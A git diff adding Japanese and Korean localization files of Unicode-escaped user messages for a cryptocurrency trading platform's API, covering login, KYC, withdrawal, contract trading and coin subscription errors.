+contract.sell.earn.error=\u7A7A\u58F2\u308A\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u30AA\u30FC\u30D7\u30F3\u3059\u308B\u305F\u3081\u306B\u58F2\u308A\u307E\u3059\u3002\u30C6\u30A4\u30AF\u30D7\u30ED\u30D5\u30A3\u30C3\u30C8\u4FA1\u683C\u306F\u5E73\u5747\u59CB\u5024\u3092\u8D85\u3048\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093\u3002 +contract.sell.loss.error=\u30B7\u30E7\u30FC\u30C8\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u30AA\u30FC\u30D7\u30F3\u3059\u308B\u305F\u3081\u306B\u58F2\u308A\u307E\u3059\u3002\u30B9\u30C8\u30C3\u30D7\u30ED\u30B9\u4FA1\u683C\u306F\u5E73\u5747\u958B\u59CB\u4FA1\u683C\u3088\u308A\u4F4E\u304F\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +contract.num.limit=\u6570\u91CF\u306F\u5EFA\u7389\u3092\u8D85\u3048\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u6B8B\u9AD8\u4E0D\u8DB3 +order.amount_error=\u30A6\u30A7\u30EB\u30B9\u30DE\u30CD\u30B8\u30E1\u30F3\u30C8\u53E3\u5EA7\u306E\u6B8B\u9AD8\u304C\u4E0D\u5341\u5206\u3067\u3042\u308B +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... +order_amount_limit=\u91D1\u984D\u306E\u4E0A\u9650\u3068\u4E0B\u9650\u3092\u6E80\u305F\u3057\u3066\u3044\u306A\u3044 +contract.delivery.day=\u914D\u9054\u307E\u3067\u306F\u307E\u3060 {0} \u65E5\u3042\u308A\u307E\u3059\u3002 +contract.delivery.margan=\u53D7\u3051\u6E21\u3057\u307E\u3067\u306F\u307E\u3060 {0} \u65E5\u3042\u308A\u307E\u3059\u3002\u30DD\u30B8\u30B7\u30E7\u30F3\u8A3C\u62E0\u91D1\u304C {1} USDT \u4EE5\u4E0A\u3001\u307E\u305F\u306F\u30DD\u30B8\u30B7\u30E7\u30F3\u8A3C\u62E0\u91D1\u304C {2} USDT \u4EE5\u4E0B\u306E\u5834\u5408\u306F\u3001\u4E8B\u524D\u306B\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u6C7A\u6E08\u3067\u304D\u307E\u3059\u3002 +contract.delivery.earn=\u53D7\u6E21\u3057\u6642\u523B\u307E\u3067\u306F\u307E\u3060 {0} \u65E5\u3042\u308A\u307E\u3059\u3002\u30DD\u30B8\u30B7\u30E7\u30F3\u8A3C\u62E0\u91D1\u304C {1} USDT \u4EE5\u4E0A\u306E\u5834\u5408\u306F\u3001\u4E8B\u524D\u306B\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u6C7A\u6E08\u3067\u304D\u307E\u3059\u3002 +contract.delivery.loss=\u53D7\u6E21\u3057\u6642\u523B\u307E\u3067\u306F\u307E\u3060 {0} \u65E5\u3042\u308A\u307E\u3059\u3002\u30DD\u30B8\u30B7\u30E7\u30F3\u8A3C\u62E0\u91D1\u304C {1}USDT \u4EE5\u4E0B\u306E\u5834\u5408\u306F\u3001\u4E8B\u524D\u306B\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u6C7A\u6E08\u3067\u304D\u307E\u3059\u3002 +order.audit.error=\u691C\u8A0E\u4E2D +order.audit.pass=\u30EA\u30C1\u30E3\u30FC\u30B8\u4E2D\u306E\u305F\u3081\u3001\u4E16\u754C\u4E2D\u306E 5 \u3064\u306E\u30CE\u30FC\u30C9\u304B\u3089\u306E\u78BA\u8A8D\u304C\u5FC5\u8981\u3067\u3059\u3002\u3057\u3070\u3089\u304F\u304A\u5F85\u3061\u304F\u3060\u3055\u3044\u3002 + +#\u7533\u8D2D +own.coin.limit.num=\u5728\u5EAB\u6570{0} +own.coin.limit=\u5229\u7528\u53EF\u80FD\u6B8B\u9AD8{0} +own.coin.success=\u30B5\u30D6\u30B9\u30AF\u30EA\u30D7\u30B7\u30E7\u30F3\u304C\u6210\u529F\u3057\u307E\u3057\u305F +own.coin.error=\u30B7\u30B9\u30C6\u30E0\u30A8\u30E9\u30FC\u3067\u3059\u3002\u7BA1\u7406\u8005\u306B\u9023\u7D61\u3057\u3066\u304F\u3060\u3055\u3044 +own.coin.sub.play=\u3059\u3067\u306B\u767B\u9332\u3055\u308C\u3066\u3044\u307E\u3059\u306E\u3067\u3001\u518D\u5EA6\u9001\u4FE1\u3057\u306A\u3044\u3067\u304F\u3060\u3055\u3044\u3002 +own.coin.sub.error=\u6B63\u5E38\u306B\u8CFC\u8AAD\u3055\u308C\u3066\u3044\u306A\u3044\u5834\u5408\u3001\u8CFC\u8AAD\u306F\u5229\u7528\u3067\u304D\u307E\u305B\u3093 +own.coin.sub.success=\u3042\u306A\u305F\u306F\u5165\u624B\u3057\u307E\u3057\u305F {0} \u8CFC\u8AAD\u8CC7\u683C +own.coin.sub.num.error=\u6B63\u3057\u3044\u6570\u91CF\u3092\u5165\u529B\u3057\u3066\u304F\u3060\u3055\u3044 +order.sell.min.error=\u6700\u4F4E\u8CA9\u58F2\u984D\u306F {0} \u3067\u3059 +order.audit.reject=\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u30AF\u30ED\u30FC\u30BA\u3067\u304D\u307E\u305B\u3093\u3067\u3057\u305F + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u30B5\u30D6\u30B9\u30AF\u30EA\u30D7\u30B7\u30E7\u30F3\u304C\u6210\u529F\u3057\u307E\u3057\u305F +own.coin.subscribe.error=\u8CFC\u8AAD\u306B\u5931\u6557\u3057\u307E\u3057\u305F +withdraw.kyc.error=\u5236\u9650\u3092\u89E3\u9664\u3059\u308B\u306B\u306F\u3001\u307E\u305A\u5B9F\u540D\u8A8D\u8A3C\u3092\u5B8C\u4E86\u3057\u3066\u304F\u3060\u3055\u3044 +exchange_symbol_error_exist=\u4EA4\u63DB\u901A\u8CA8\u306F\u5B58\u5728\u3057\u307E\u305B\u3093 +currency.coin.setting.nonexistent=\u73FE\u5728\u306E {} \u69CB\u6210\u306F\u5B58\u5728\u3057\u307E\u305B\u3093 +currency.balance.deficiency=\u73FE\u5728\u306E {} \u901A\u8CA8\u6B8B\u9AD8\u304C\u4E0D\u8DB3\u3057\u3066\u3044\u307E\u3059 +currency.deal.error=\u3053\u306E\u901A\u8CA8\u306F\u53D6\u5F15\u3067\u304D\u307E\u305B\u3093 +back.code.exist.error=\u9280\u884C\u30AB\u30FC\u30C9\u756A\u53F7\u306F\u3059\u3067\u306B\u5B58\u5728\u3057\u307E\u3059{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u6700\u521D\u306B\u4E00\u6B21\u8A8D\u8A3C\u3092\u5B9F\u884C\u3057\u3066\u304F\u3060\u3055\u3044 + +#\u9ED1\u540D\u5355 +user_is_black = \u3042\u306A\u305F\u306E\u30A2\u30AB\u30A6\u30F3\u30C8\u306F\u30D6\u30E9\u30C3\u30AF\u30EA\u30B9\u30C8\u306B\u767B\u9332\u3055\u308C\u3066\u3044\u308B\u305F\u3081\u3001\u30ED\u30B0\u30A4\u30F3\u3067\u304D\u307E\u305B\u3093\u3002 + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= \u6700\u4F4E\u6CE8\u6587\u6570\u91CF\u306F {0} +currency.order.max.error= \u6700\u5927\u6CE8\u6587\u6570\u91CF\u306F\u3001 {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_ko.properties b/ruoyi-api/src/main/resources/i18n/messages_ko.properties new file mode 100644 index 0000000..49d6137 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_ko.properties @@ -0,0 +1,161 @@ +user.appname=\u97E9\u8BED\u8BED\u8A00 +#\u9519\u8BEF\u6D88\u606F +not.null=* \uD544\uC218\uC758 +user.jcaptcha.error=\uC778\uC99D \uCF54\uB4DC \uC624\uB958 +user.jcaptcha.expire=\uC778\uC99D \uCF54\uB4DC\uAC00 \uB9CC\uB8CC\uB418\uC5C8\uC2B5\uB2C8\uB2E4. +user.not.exists=\uC0AC\uC6A9\uC790\uAC00 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4/\uC798\uBABB\uB41C \uBE44\uBC00\uBC88\uD638 +user.password.not.match=\uC0AC\uC6A9\uC790\uAC00 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4/\uC798\uBABB\uB41C \uBE44\uBC00\uBC88\uD638 +user.password.retry.limit.count=\uC798\uBABB\uB41C \uBE44\uBC00\uBC88\uD638\uB97C {0}\uBC88 \uC785\uB825\uD588\uC2B5\uB2C8\uB2E4. +user.password.retry.limit.exceed=\uBE44\uBC00\uBC88\uD638\uAC00 {0}\uBC88 \uC798\uBABB \uC785\uB825\uB418\uC5B4 \uACC4\uC815\uC774 {1}\uBD84 \uB3D9\uC548 \uC7A0\uACBC\uC2B5\uB2C8\uB2E4. +user.password.delete=\uC8C4\uC1A1\uD569\uB2C8\uB2E4. \uACC4\uC815\uC774 \uC0AD\uC81C\uB418\uC5C8\uC2B5\uB2C8\uB2E4. +user.blocked=\uC0AC\uC6A9\uC790\uAC00 \uCC28\uB2E8\uB418\uC5C8\uC2B5\uB2C8\uB2E4. \uAD00\uB9AC\uC790\uC5D0\uAC8C \uBB38\uC758\uD558\uC2ED\uC2DC\uC624. +role.blocked=\uC5ED\uD560\uC774 \uAE08\uC9C0\uB418\uC5C8\uC2B5\uB2C8\uB2E4. \uAD00\uB9AC\uC790\uC5D0\uAC8C \uBB38\uC758\uD558\uC2ED\uC2DC\uC624. +login.blocked=\uC548\uD0C0\uAE5D\uAC8C\uB3C4 \uC561\uC138\uC2A4 IP\uAC00 \uC2DC\uC2A4\uD15C\uC5D0 \uC758\uD574 \uBE14\uB799\uB9AC\uC2A4\uD2B8\uC5D0 \uC62C\uB790\uC2B5\uB2C8\uB2E4. +user.logout.success=\uC131\uACF5\uC801\uC73C\uB85C \uC885\uB8CC +user.ops.status=\uC131\uACF5\uC801\uC778 \uC6B4\uC601 + +length.not.valid=\uAE38\uC774\uB294 {min}\uC5D0\uC11C {max}\uC790 \uC0AC\uC774\uC5EC\uC57C \uD569\uB2C8\uB2E4. + +user.username.not.valid=* 2~20\uC790\uC758 \uD55C\uC790, \uBB38\uC790, \uC22B\uC790 \uB610\uB294 \uBC11\uC904\uC774\uBA70 \uC22B\uC790\uAC00 \uC544\uB2CC \uBB38\uC790\uB85C \uC2DC\uC791\uD574\uC57C \uD569\uB2C8\uB2E4. +user.password.not.valid=* 5-50\uC790 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.register.phone.exist=\uD734\uB300\uD3F0 \uBC88\uD638\uAC00 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4 +user.register.phone.bind=\uD734\uB300\uD3F0 \uBC88\uD638\uAC00 \uBC14\uC778\uB529\uB418\uC5C8\uC2B5\uB2C8\uB2E4 +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\uC774\uBA54\uC77C \uD615\uC2DD\uC774 \uC798\uBABB\uB418\uC5C8\uC2B5\uB2C8\uB2E4. +user.register.email.exisit=\uC0AC\uC11C\uD568\uC774 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4. +user.register.phone.exisit=\uD734\uB300\uC804\uD654 \uBC88\uD638\uAC00 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4. +user.user_name_exisit=\uC0AC\uC6A9\uC790 \uC774\uB984\uC774 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4 +login.user_error=\uC798\uBABB\uB41C \uC0AC\uC6A9\uC790 \uC774\uB984 \uB610\uB294 \uC554\uD638 +user.login.address.error=\uC8FC\uC18C\uAC00 \uCC0D\uD614\uC2B5\uB2C8\uB2E4! +#app +app.login.address.not.null=\uC0AC\uC6A9\uC790 \uC8FC\uC18C\uAC00 \uBE44\uC5B4 \uC788\uC2B5\uB2C8\uB2E4 +login.email.not_register=\uBC14\uC778\uB529\uB41C \uC774\uBA54\uC77C \uC8FC\uC18C\uB97C \uC0AC\uC6A9\uD558\uC5EC \uC791\uB3D9\uD558\uC2ED\uC2DC\uC624. +login.phone.not_register=\uC5F0\uB3D9\uB41C \uD734\uB300\uD3F0 \uBC88\uD638\uB97C \uC774\uC6A9\uD558\uC5EC \uC6B4\uC601\uD574\uC8FC\uC138\uC694 +login.code_error=\uC778\uC99D \uCF54\uB4DC \uC624\uB958 +user.login.code.error=\uC778\uC99D \uCF54\uB4DC \uD655\uC778\uC5D0 \uC2E4\uD328\uD588\uC2B5\uB2C8\uB2E4! +user.login.password.null=\uBE44\uBC00\uBC88\uD638\uB97C \uC785\uB825\uD574\uC8FC\uC138\uC694! +user.login.upd.success=\uC131\uACF5\uC801\uC73C\uB85C \uC218\uC815\uB418\uC5C8\uC2B5\uB2C8\uB2E4! +phone_code_empty=\uD734\uB300\uD3F0 \uBC88\uD638\uB294 \uBE44\uC6CC\uB458 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4! +email.code_empty=\uC774\uBA54\uC77C\uC740 \uBE44\uC6CC\uB458 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4! +user.code.send=\uC778\uC99D \uCF54\uB4DC\uAC00 \uC131\uACF5\uC801\uC73C\uB85C \uC804\uC1A1\uB418\uC5C8\uC2B5\uB2C8\uB2E4. +app.verification.email.code=\uC778\uC99D\uBC88\uD638\uAC00 \uC774\uBA54\uC77C\uB85C \uBC1C\uC1A1\uB418\uC5C8\uC73C\uB2C8 \uD655\uC778 \uBD80\uD0C1\uB4DC\uB9BD\uB2C8\uB2E4. +user.password_bind=\uBE44\uBC00\uBC88\uD638\uAC00 \uC774\uBBF8 \uC124\uC815\uB418\uC5B4 \uC788\uC2B5\uB2C8\uB2E4. \uB2E4\uC2DC \uBB36\uC9C0 \uB9C8\uC2ED\uC2DC\uC624. +user.tard.password_bind=\uBCF4\uC548 \uC554\uD638\uAC00 \uC124\uC815\uB418\uC5C8\uC2B5\uB2C8\uB2E4. \uB2E4\uC2DC \uBC14\uC778\uB529\uD558\uC9C0 \uB9C8\uC2ED\uC2DC\uC624. +user.login.null=\uC0AC\uC6A9\uC790\uAC00 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4! +user.login.old.password=\uC774\uC804 \uC554\uD638\uAC00 \uC785\uB825\uB418\uC9C0 \uC54A\uC558\uC2B5\uB2C8\uB2E4! +user.login.new.password=\uC0C8 \uBE44\uBC00\uBC88\uD638\uAC00 \uC785\uB825\uB418\uC9C0 \uC54A\uC558\uC2B5\uB2C8\uB2E4! +user.login.paw.upd=\uC0C8 \uBE44\uBC00\uBC88\uD638\uB294 \uC774\uC804 \uBE44\uBC00\uBC88\uD638\uC640 \uAC19\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4! +user.login.old.password.error=\uC774\uC804 \uC554\uD638\uAC00 \uC798\uBABB\uB418\uC5C8\uC2B5\uB2C8\uB2E4! +user.login.address.null=\uC8FC\uC18C\uAC00 \uBE44\uC5B4 \uC788\uC2B5\uB2C8\uB2E4! +user.login.userid.null=\uC0AC\uC6A9\uC790 ID\uAC00 \uBE44\uC5B4 \uC788\uC2B5\uB2C8\uB2E4! +#\u63D0\u73B0 +user.password_notbind=\uC548\uC804\uD55C \uBE44\uBC00\uBC88\uD638\uB97C \uC124\uC815\uD574\uC8FC\uC138\uC694 +tard_password.error=\uC798\uBABB\uB41C \uACB0\uC81C \uBE44\uBC00\uBC88\uD638 +withdraw.amount_number_exceed=\uB2F9\uC77C \uCD9C\uAE08\uD69F\uC218\uAC00 \uC124\uC815\uD55C \uD69F\uC218\uB97C \uCD08\uACFC\uD55C \uACBD\uC6B0 +withdraw_error=\uC794\uC561 \uBD80\uC871, \uD604\uAE08 \uC778\uCD9C \uBD88\uAC00 +withdraw.amount_error=\uCD9C\uAE08\uAE08\uC561\uC774 \uD2C0\uB838\uC5B4\uC694 \uC218\uC815\uD574\uC8FC\uC138\uC694 +withdraw.refresh=\uC0C8\uB85C \uACE0\uCE68\uD558\uC2ED\uC2DC\uC624 +withdraw.address.isnull=\uC815\uD655\uD55C \uCD9C\uAE08\uC8FC\uC18C\uB97C \uC785\uB825\uD574\uC8FC\uC138\uC694! +withdraw_require_error = \uD604\uC7AC\uB294 \uB0A8\uC740 \uB9E4\uCD9C\uC561\uC744 \uAC00\uC9C0\uACE0 \uB180\uC544\uC57C\uD569\uB2C8\uB2E4. +withdraw_error_coin=\uC774 \uD1B5\uD654\uB294 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4. +withdraw_error_rate=\uC774 \uD658\uC728\uC740 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4. +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\uBCF8\uC778\uC778\uC99D \uC815\uBCF4 4\uAC1C \uD56D\uBAA9 \uBAA8\uB450 \uD544\uC218 + +#\u5151\u6362 +exchange.symbol.exist = \uAD50\uD658 \uD1B5\uD654\uB294 \uBE44\uC6CC\uB458 \uC218 \uC5C6\uC73C\uBA70 \uAD50\uD658 \uAE08\uC561\uC740 0\uBCF4\uB2E4 \uCEE4\uC57C \uD569\uB2C8\uB2E4. +recharge.amout.min=\uCD5C\uC18C \uCDA9\uC804 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +recharge.amout.max=\uCD5C\uB300 \uCDA9\uC804 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +currency.exchange_min = \uCD5C\uC18C \uAD50\uD658 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +currency.exchange_max =\uCD5C\uB300 \uAD50\uD658 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +exchange_error=\uAD50\uD658 \uAE08\uC561\uC774 \uACC4\uC815 \uC794\uC561\uBCF4\uB2E4 \uD07D\uB2C8\uB2E4. +exchange.record.exist.error=\uC0AC\uC6A9\uC774 \uC9C4\uD589 \uC911\uC785\uB2C8\uB2E4. \uB098\uC911\uC5D0 \uB2E4\uC2DC \uC2DC\uB3C4\uD558\uC138\uC694. +#\u79D2\u5408\u7EA6 +order_amount_error=\uC9C0\uAC11 \uC794\uC561 \uBD80\uC871, \uAD6C\uB9E4\uD560 \uC218 \uC5C6\uC74C +order_10s_retry=\uC8FC\uBB38\uC774 \uB108\uBB34 \uC7A6\uC2B5\uB2C8\uB2E4. 10\uCD08 \uC774\uD6C4\uC5D0 \uC8FC\uBB38\uD574 \uC8FC\uC138\uC694... +#\u7406\u8D22 +user.push.message=\uC0AC\uC6A9\uC790 \uC791\uC5C5 \uAE08\uC9C0 +mine.level.error=\uADC0\uD558\uC758 VIP \uB4F1\uAE09\uC740 2\uCC28 \uC790\uC0B0 \uAD00\uB9AC \uC0C1\uD488\uC744 \uAD6C\uB9E4\uD558\uAE30\uC5D0 \uCDA9\uBD84\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4. +order.single.min=\uAD6C\uB9E4 \uAE08\uC561\uC774 \uCD5C\uC18C \uAE08\uC561 \uBBF8\uB9CC\uC73C\uB85C \uAD6C\uB9E4\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +order.single.max=\uAD6C\uB9E4\uD55C \uAE08\uC561\uC774 \uCD5C\uB300 \uD55C\uB3C4\uB97C \uCD08\uACFC\uD558\uC5EC \uAD6C\uB9E4\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +order.buy.insufficient=\uD604\uC7AC \uCD5C\uB300 {0}\uAE4C\uC9C0 \uAD6C\uB9E4\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. +product.removed=\uC81C\uD488\uC774 \uB2E8\uC885\uB418\uC5C8\uC2B5\uB2C8\uB2E4 +financial.count.max=\uC774 \uC0AC\uC6A9\uC790\uB294 \uD55C\uB3C4\uC5D0 \uB3C4\uB2EC\uD558\uC5EC \uAD6C\uB9E4\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +days.not.null=\uAD6C\uB9E4 \uC8FC\uAE30\uAC00 \uBE44\uC5B4 \uC788\uC2B5\uB2C8\uB2E4. +days.not.error=\uAD6C\uB9E4\uC8FC\uAE30 \uC624\uB958 + +contract.accont.error=\uBD88\uCDA9\uBD84\uD55C \uACC4\uC57D \uACC4\uC815 \uC794\uC561 +contract.min.share=\uCD5C\uC18C \uAD6C\uB9E4 \uC218\uB7C9\uC740 {0}\uC785\uB2C8\uB2E4. +contract.max.share=\uCD5C\uB300 \uAD6C\uB9E4 \uC218\uB294 {0}\uC785\uB2C8\uB2E4. +contract.asset.error=\uBD88\uCDA9\uBD84\uD55C \uACC4\uC57D \uACC4\uC815 \uC794\uC561 +adjust.min.error=\uAC10\uC18C \uC99D\uAC70\uAE08\uC740 \uCD08\uAE30 \uC99D\uAC70\uAE08\uBCF4\uB2E4 \uC791\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +order.status.error=\uBD88\uBC95 \uC81C\uCD9C +contract.buy.earn.error=\uB9E4\uC218, \uC774\uC775 \uC2E4\uD604 \uAC00\uACA9\uC740 \uD3C9\uADE0 \uC2DC\uAC00\uBCF4\uB2E4 \uB0AE\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +contract.buy.loss.error=\uB9E4\uC218 \uB9E4\uC218, \uC190\uC808\uB9E4 \uAC00\uACA9\uC740 \uD3C9\uADE0 \uC2DC\uAC00\uBCF4\uB2E4 \uB192\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +contract.sell.earn.error=\uC20F \uD3EC\uC9C0\uC158\uC744 \uC5F4\uAE30 \uC704\uD574 \uB9E4\uB3C4, \uC774\uC775 \uC2E4\uD604 \uAC00\uACA9\uC740 \uD3C9\uADE0 \uAC1C\uC2DC \uAC00\uACA9\uBCF4\uB2E4 \uB192\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +contract.sell.loss.error=\uC20F \uD3EC\uC9C0\uC158\uC744 \uC5F4\uAE30 \uC704\uD574 \uB9E4\uB3C4, \uC190\uC808\uB9E4 \uAC00\uACA9\uC740 \uD3C9\uADE0 \uAC1C\uC2DC \uAC00\uACA9\uBCF4\uB2E4 \uB0AE\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +contract.num.limit=\uC218\uB7C9\uC740 \uBBF8\uACB0\uC81C\uC57D\uC815\uBCF4\uB2E4 \uD074 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\uC794\uC561 \uBD88\uCDA9\uBD84 +order.amount_error=\uC790\uC0B0\uAD00\uB9AC \uACC4\uC815 \uC794\uC561 \uBD80\uC871 +order.10s_retry=\uC8FC\uBB38\uC774 \uB108\uBB34 \uC790\uC8FC \uB4E4\uC5B4\uC624\uB124\uC694. 10\uCD08 \uD6C4\uC5D0 \uC8FC\uBB38\uD574 \uBCF4\uC138\uC694... +order_amount_limit=\uBD88\uBC95\uAE08\uC561 +contract.delivery.day=\uC544\uC9C1 \uBC30\uC1A1\uAE4C\uC9C0 {0}\uC77C \uB0A8\uC558\uC2B5\uB2C8\uB2E4. +contract.delivery.margan=\uC544\uC9C1 \uBC30\uC1A1\uC774 {0}\uC77C \uB0A8\uC558\uC2B5\uB2C8\uB2E4. \uD3EC\uC9C0\uC158 \uC99D\uAC70\uAE08\uC774 {1} USDT \uC774\uC0C1\uC774\uAC70\uB098 \uD3EC\uC9C0\uC158 \uC99D\uAC70\uAE08\uC774 {2} USDT \uC774\uD558\uC778 \uACBD\uC6B0 \uC0AC\uC804\uC5D0 \uD3EC\uC9C0\uC158\uC744 \uCCAD\uC0B0\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. +contract.delivery.earn=\uBC30\uC1A1\uC77C\uAE4C\uC9C0\uB294 \uC544\uC9C1 {0}\uC77C \uB0A8\uC558\uC2B5\uB2C8\uB2E4. \uD3EC\uC9C0\uC158 \uC99D\uAC70\uAE08\uC774 {1} USDT \uC774\uC0C1\uC778 \uACBD\uC6B0 \uBBF8\uB9AC \uD3EC\uC9C0\uC158\uC744 \uCCAD\uC0B0\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. +contract.delivery.loss=\uC544\uC9C1 \uBC30\uC1A1 \uC2DC\uAC04\uC774 {0}\uC77C \uB0A8\uC558\uC2B5\uB2C8\uB2E4. \uD3EC\uC9C0\uC158 \uC99D\uAC70\uAE08\uC774 {1}USDT \uC774\uD558\uC778 \uACBD\uC6B0 \uBBF8\uB9AC \uD3EC\uC9C0\uC158\uC744 \uCCAD\uC0B0\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. +order.audit.error=\uAC80\uD1A0\uC911 +order.audit.pass=\uCDA9\uC804\uC774 \uC9C4\uD589 \uC911\uC774\uBA70 \uC804 \uC138\uACC4 5\uAC1C \uB178\uB4DC\uC758 \uD655\uC778\uC774 \uD544\uC694\uD569\uB2C8\uB2E4. \uC7A0\uC2DC \uAE30\uB2E4\uB824 \uC8FC\uC2ED\uC2DC\uC624. + +#\u7533\u8D2D +own.coin.limit.num= \uC0AC\uC6A9 \uAC00\uB2A5 \uC218\uB7C9 {0} +own.coin.limit=\uC0AC\uC6A9 \uAC00\uB2A5\uD55C \uC794\uC561 {0} +own.coin.success=\uAD6C\uB3C5 \uC131\uACF5 +own.coin.error=\uC2DC\uC2A4\uD15C \uC624\uB958\uC785\uB2C8\uB2E4. \uAD00\uB9AC\uC790\uC5D0\uAC8C \uBB38\uC758\uD558\uC138\uC694 +own.coin.sub.play=\uC774\uBBF8 \uAD6C\uB3C5\uD558\uC168\uC2B5\uB2C8\uB2E4. \uB2E4\uC2DC \uC81C\uCD9C\uD558\uC9C0 \uB9C8\uC138\uC694! +own.coin.sub.error=\uC131\uACF5\uC801\uC73C\uB85C \uAD6C\uB3C5\uD558\uC9C0 \uC54A\uC740 \uACBD\uC6B0 \uAD6C\uB3C5\uC744 \uC0AC\uC6A9\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +own.coin.sub.success=\uB2F9\uC2E0\uC740 \uC5BB\uC5C8\uC2B5\uB2C8\uB2E4 {0} \uAD6C\uB3C5 \uC790\uACA9 +own.coin.sub.num.error=\uC815\uD655\uD55C \uC218\uB7C9\uC744 \uC785\uB825\uD574\uC8FC\uC138\uC694. +order.sell.min.error=\uCD5C\uC18C \uD310\uB9E4 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +order.audit.reject=\uD3EC\uC9C0\uC158\uC744 \uCCAD\uC0B0\uD558\uC9C0 \uBABB\uD588\uC2B5\uB2C8\uB2E4. + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\uAD6C\uB3C5 \uC131\uACF5 